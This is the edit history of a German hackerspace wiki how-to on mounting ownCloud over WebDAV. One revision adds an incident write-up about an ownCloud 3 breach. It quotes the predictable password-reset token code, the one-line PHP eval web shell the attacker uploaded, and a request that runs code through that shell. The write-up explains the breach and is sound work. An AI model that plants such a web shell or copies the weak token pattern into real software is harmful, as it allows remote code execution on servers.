HowTo:WebDAV - Versionsgeschichte

Schinken: /* Linux */

2014-05-05T06:53:05Z

Linux

← Nächstältere Version		Version vom 5. Mai 2014, 06:53 Uhr
Zeile 30:		Zeile 30:

	== Linux ==		== Linux ==

			=== owncloud-client ===

			Mittlerweile existiert ein [http://owncloud.org/sync-clients/ owncloud-client] der alle Synchronisationsaufgaben abnimmt. Falls man einen .htaccess vor der owncloud verwendet muss man in der owncloud-client config Datei die URL folgendermaßen anpassen:

			http://username:password@cloud.example.com

			=== Verwendung via Dateimanager ===

	Um unabhängig vom genutzten Dateibrowser zu sein, kann man WebDAV auf Dateisystemebene		Um unabhängig vom genutzten Dateibrowser zu sein, kann man WebDAV auf Dateisystemebene
	einbinden (mounten), oder dies einfach über den Dateimanager verwenden.		einbinden (mounten), oder dies einfach über den Dateimanager verwenden.
Zeile 37:		Zeile 46:
	runterladen muss um diese öffnen zu können :-/		runterladen muss um diese öffnen zu können :-/

	~~=== Verwendung via Dateimanager ===~~
	==== Nautilus (GNOME) ====		==== Nautilus (GNOME) ====
	Bei Nautilus kann man einfach mit ''Datei->Verbindung zu Server...'' eine Verbindung		Bei Nautilus kann man einfach mit ''Datei->Verbindung zu Server...'' eine Verbindung

Stp: Seetheprogress verschob Seite HowTo/WebDAV nach HowTo:WebDAV

2013-02-20T13:27:18Z

Seetheprogress verschob Seite HowTo/WebDAV nach HowTo:WebDAV

← Nächstältere Version	Version vom 20. Februar 2013, 13:27 Uhr
(kein Unterschied)

Bobapple: /* Windows */

2012-10-29T14:48:21Z

Windows

← Nächstältere Version		Version vom 29. Oktober 2012, 14:48 Uhr
Zeile 118:		Zeile 118:
	# Connect klicken		# Connect klicken

	Wenn es sich nicht innerhalb weniger Sekunden verbindet und es keine Fehlermeldung gibt, ist bei den Einstellungen etwa sschief gelaufen. Dann den Prozess killen und das System neu starten, sonst kommt man nicht mehr in Netdrive. ~~#sucks~~		Wenn es sich nicht innerhalb weniger Sekunden verbindet und es keine Fehlermeldung gibt, ist bei den Einstellungen etwa sschief gelaufen. Dann den Prozess killen und das System neu starten, sonst kommt man nicht mehr in Netdrive.

	Bug: Shared Folder ist leer. ~~#sucks~~		Bug: Shared Folder ist leer.

	[[kategorie:howto]]		[[kategorie:howto]]

Bobapple: /* Windowsmist */

2012-10-29T14:47:49Z

Windowsmist

← Nächstältere Version		Version vom 29. Oktober 2012, 14:47 Uhr
Zeile 100:		Zeile 100:
	echo "mount /home/herpderp/owncloud" >> ~/.bashrc		echo "mount /home/herpderp/owncloud" >> ~/.bashrc

	== ~~Windowsmist~~ ==		== Windows ==
	Es sollte mit dem nativen Windows WebDAV funktionieren, siehe [http://owncloud.org/support/webdav/#Windows WebDAV Win Native].		Es sollte mit dem nativen Windows WebDAV funktionieren, siehe [http://owncloud.org/support/webdav/#Windows WebDAV Win Native].

Schinken: /* Code Execution */

2012-07-16T10:05:13Z

Code Execution

← Nächstältere Version		Version vom 16. Juli 2012, 10:05 Uhr
Zeile 17:		Zeile 17:
	Nachdem der Angreifer zugriff auf das Konto des Users bekommen hat, konnte eine einfache PHP Datei mit folgendem Inhalt hochgeladen werden:		Nachdem der Angreifer zugriff auf das Konto des Users bekommen hat, konnte eine einfache PHP Datei mit folgendem Inhalt hochgeladen werden:

	<?php eval( urldecode( $_REQUEST['text'] ) ); ?>		<?php eval( urldecode( $_REQUEST['text'] ) ); ?>

	Durch einen Public-Link konnte so Code über das Request-Feld "text" übergeben werden.		Durch einen Public-Link konnte so Code über das Request-Feld "text" übergeben werden.

Schinken am 16. Juli 2012 um 10:04 Uhr

2012-07-16T10:04:36Z

← Nächstältere Version		Version vom 16. Juli 2012, 10:04 Uhr
Zeile 1:		Zeile 1:
			== Sicherheitslücke in ownCloud 3 ==

			=== Lost Password Function ===

			In ownCloud 3 existierte eine Sicherheitslücke, weswegen wir die ownCloud abgeschalten haben. Durch diese Lücke wurde auf unsere VM eingebrochen, und das Wiki mit einem Pony-Bild ausgetauscht. Die Attacke wurde von einer Person auf der SIGINT in Köln ausgeführt.

			Die Sicherheitslücke entstand durch eine unsichere "lostpassword"-Funktion, welche aus folgenden Code bestand:

			$token = sha1($_POST['user']+uniqId());

			Die Funktion uniqId() lieferte den momentanen Unix-Timestamp in hexadezimaler Form zurück. Da der Operator "+" verwendet wurde, wurden beide Strings als numerischer Wert interpretiert ("4A" wurde z.b. zu 4) (http://php.net/manual/en/language.types.type-juggling.php).

			Dadurch wurde der Token leicht voraussagbar.

			=== Code Execution ===

			Nachdem der Angreifer zugriff auf das Konto des Users bekommen hat, konnte eine einfache PHP Datei mit folgendem Inhalt hochgeladen werden:

			<?php eval( urldecode( $_REQUEST['text'] ) ); ?>

			Durch einen Public-Link konnte so Code über das Request-Feld "text" übergeben werden.

			Beispiel:

			http://owncloud.hackerspace-bamberg.de/(url)?text=echo+%22Hallo+Welt%22

			== Owncloud WebDAV ==
	Hier ne kleine Anleitung wie man ownCloud via WebDAV in das System einbindet,		Hier ne kleine Anleitung wie man ownCloud via WebDAV in das System einbindet,
	je nach Betriebssystem gibts es hierzu unterschiedliche Möglichkeiten.		je nach Betriebssystem gibts es hierzu unterschiedliche Möglichkeiten.

Schinken: /* Applemist */

2012-07-11T21:26:59Z

Applemist

← Nächstältere Version		Version vom 11. Juli 2012, 21:26 Uhr
Zeile 94:		Zeile 94:

	Bug: Shared Folder ist leer. #sucks		Bug: Shared Folder ist leer. #sucks

	~~== Applemist ==~~
	* kleiner penis.

	[[kategorie:howto]]		[[kategorie:howto]]

Schinken: /* Konfiguration */

2012-07-11T21:26:41Z

Konfiguration

← Nächstältere Version		Version vom 11. Juli 2012, 21:26 Uhr
Zeile 46:		Zeile 46:
	* ''mount.davfs'' erzeugen/konfigurieren: '''[optional: gilt nur für Debian und seine Derivate]'''		* ''mount.davfs'' erzeugen/konfigurieren: '''[optional: gilt nur für Debian und seine Derivate]'''

	~~<code>~~sudo dpkg-reconfigure davfs2~~</code>~~		sudo dpkg-reconfigure davfs2

	Bei dem genannten Kommando wird konfiguriert ob normale User WebDav Verzeichnisse einbinden dürfen sollen. Das folgende HowTo geht davon aus das "Yes" / "Ja" gewählt wurde.		Bei dem genannten Kommando wird konfiguriert ob normale User WebDav Verzeichnisse einbinden dürfen sollen. Das folgende HowTo geht davon aus das "Yes" / "Ja" gewählt wurde.
	* OwnCloud Mountpoint erstellen (Verzeichnis in welches das WebDav Verzeichnis eingebunden wird):		* OwnCloud Mountpoint erstellen (Verzeichnis in welches das WebDav Verzeichnis eingebunden wird):
	~~<code>~~mkdir ~/owncloud~~</code>~~		mkdir ~/owncloud
	* Mount in ''/etc/fstab'' hinzufügen:		* Mount in ''/etc/fstab'' hinzufügen:
	~~<code>~~sudo vi /etc/fstab~~</code>~~		sudo vi /etc/fstab
	Folgende Zeile am Ende hinzufügen:		Folgende Zeile am Ende hinzufügen:
	https://owncloud.hackerspace-bamberg.de/files/webdav.php /home/herpderp/owncloud davfs rw,user,noauto 0 0		https://owncloud.hackerspace-bamberg.de/files/webdav.php /home/herpderp/owncloud davfs rw,user,noauto 0 0
	* Zugangsdaten speichern:		* Zugangsdaten speichern:
	~~<code>~~mkdir ~/.davfs2~~</code><br>~~		mkdir ~/.davfs2
	~~<code>~~vi ~/.davfs2/secrets~~</code>~~		vi ~/.davfs2/secrets

	Zugangsdaten in folgendem Format einfügen:		Zugangsdaten in folgendem Format einfügen:
	https://owncloud.hackerspace-bamberg.de/files/webdav.php herpderp derpina85		https://owncloud.hackerspace-bamberg.de/files/webdav.php herpderp derpina85
	* Berechtigungen der Datei mit den Zugangsdaten so anpassen, dass nur der User (hier ''herpderp'') die Datei lesen+bearbeiten kann:		* Berechtigungen der Datei mit den Zugangsdaten so anpassen, dass nur der User (hier ''herpderp'') die Datei lesen+bearbeiten kann:
	~~<code>~~chmod 600 ~/.davfs2/secrets~~</code>~~		chmod 600 ~/.davfs2/secrets
	* Dein User muss Mitglied der Gruppe ''davfs2'' sein		* Dein User muss Mitglied der Gruppe ''davfs2'' sein
	~~<code>~~sudo usermod -a -G davfs2 herpderp~~</code>~~		sudo usermod -a -G davfs2 herpderp
	* OwnCloud einbinden:		* OwnCloud einbinden:
	~~<code>~~mount ~/owncloud~~</code>~~		mount ~/owncloud

	Der letzte Befehl muss bei jedem Start des Computers neu ausgeführt werden um das WebDav Verzeichnis einzubinden. Um das zu automatisieren gibt es verschiedene Möglichkeiten:		Der letzte Befehl muss bei jedem Start des Computers neu ausgeführt werden um das WebDav Verzeichnis einzubinden. Um das zu automatisieren gibt es verschiedene Möglichkeiten:
	'''Achtung:''' Das einbinden von WebDav Verzeichnissen funktioniert nur bei bestehender Internetverbindung. Eine automatisierung wird daher <u>nicht</u> empfohlen!		'''Achtung:''' Das einbinden von WebDav Verzeichnissen funktioniert nur bei bestehender Internetverbindung. Eine automatisierung wird daher <u>nicht</u> empfohlen!
	* <code>echo "mount /home/herpderp/owncloud" >> /etc/rc.local~~</code>~~		echo "mount /home/herpderp/owncloud" >> /etc/rc.local
	* <code>echo "mount /home/herpderp/owncloud" >> ~/.bashrc~~</code>~~		echo "mount /home/herpderp/owncloud" >> ~/.bashrc

	== Windowsmist ==		== Windowsmist ==

Schinken: /* Installation */

2012-07-11T21:25:23Z

Installation

← Nächstältere Version		Version vom 11. Juli 2012, 21:25 Uhr
Zeile 31:		Zeile 31:
	==== Installation ====		==== Installation ====
	* ArchLinux		* ArchLinux
	~~<code>~~sudo pacman -S davfs2~~</code>~~		sudo pacman -S davfs2
	* Debian/Ubuntu		* Debian/Ubuntu
	~~<code>~~sudo apt-get install davfs2~~</code>~~		sudo apt-get install davfs2
	* Fedora		* Fedora
	~~<code>~~sudo yum install davfs2~~</code>~~		sudo yum install davfs2

	==== Konfiguration ====		==== Konfiguration ====

Krisha: /* Windowsmist */

2012-03-22T14:15:13Z

Windowsmist

← Nächstältere Version		Version vom 22. März 2012, 14:15 Uhr
Zeile 90:		Zeile 90:

	Wenn es sich nicht innerhalb weniger Sekunden verbindet und es keine Fehlermeldung gibt, ist bei den Einstellungen etwa sschief gelaufen. Dann den Prozess killen und das System neu starten, sonst kommt man nicht mehr in Netdrive. #sucks		Wenn es sich nicht innerhalb weniger Sekunden verbindet und es keine Fehlermeldung gibt, ist bei den Einstellungen etwa sschief gelaufen. Dann den Prozess killen und das System neu starten, sonst kommt man nicht mehr in Netdrive. #sucks

			Bug: Shared Folder ist leer. #sucks

	== Applemist ==		== Applemist ==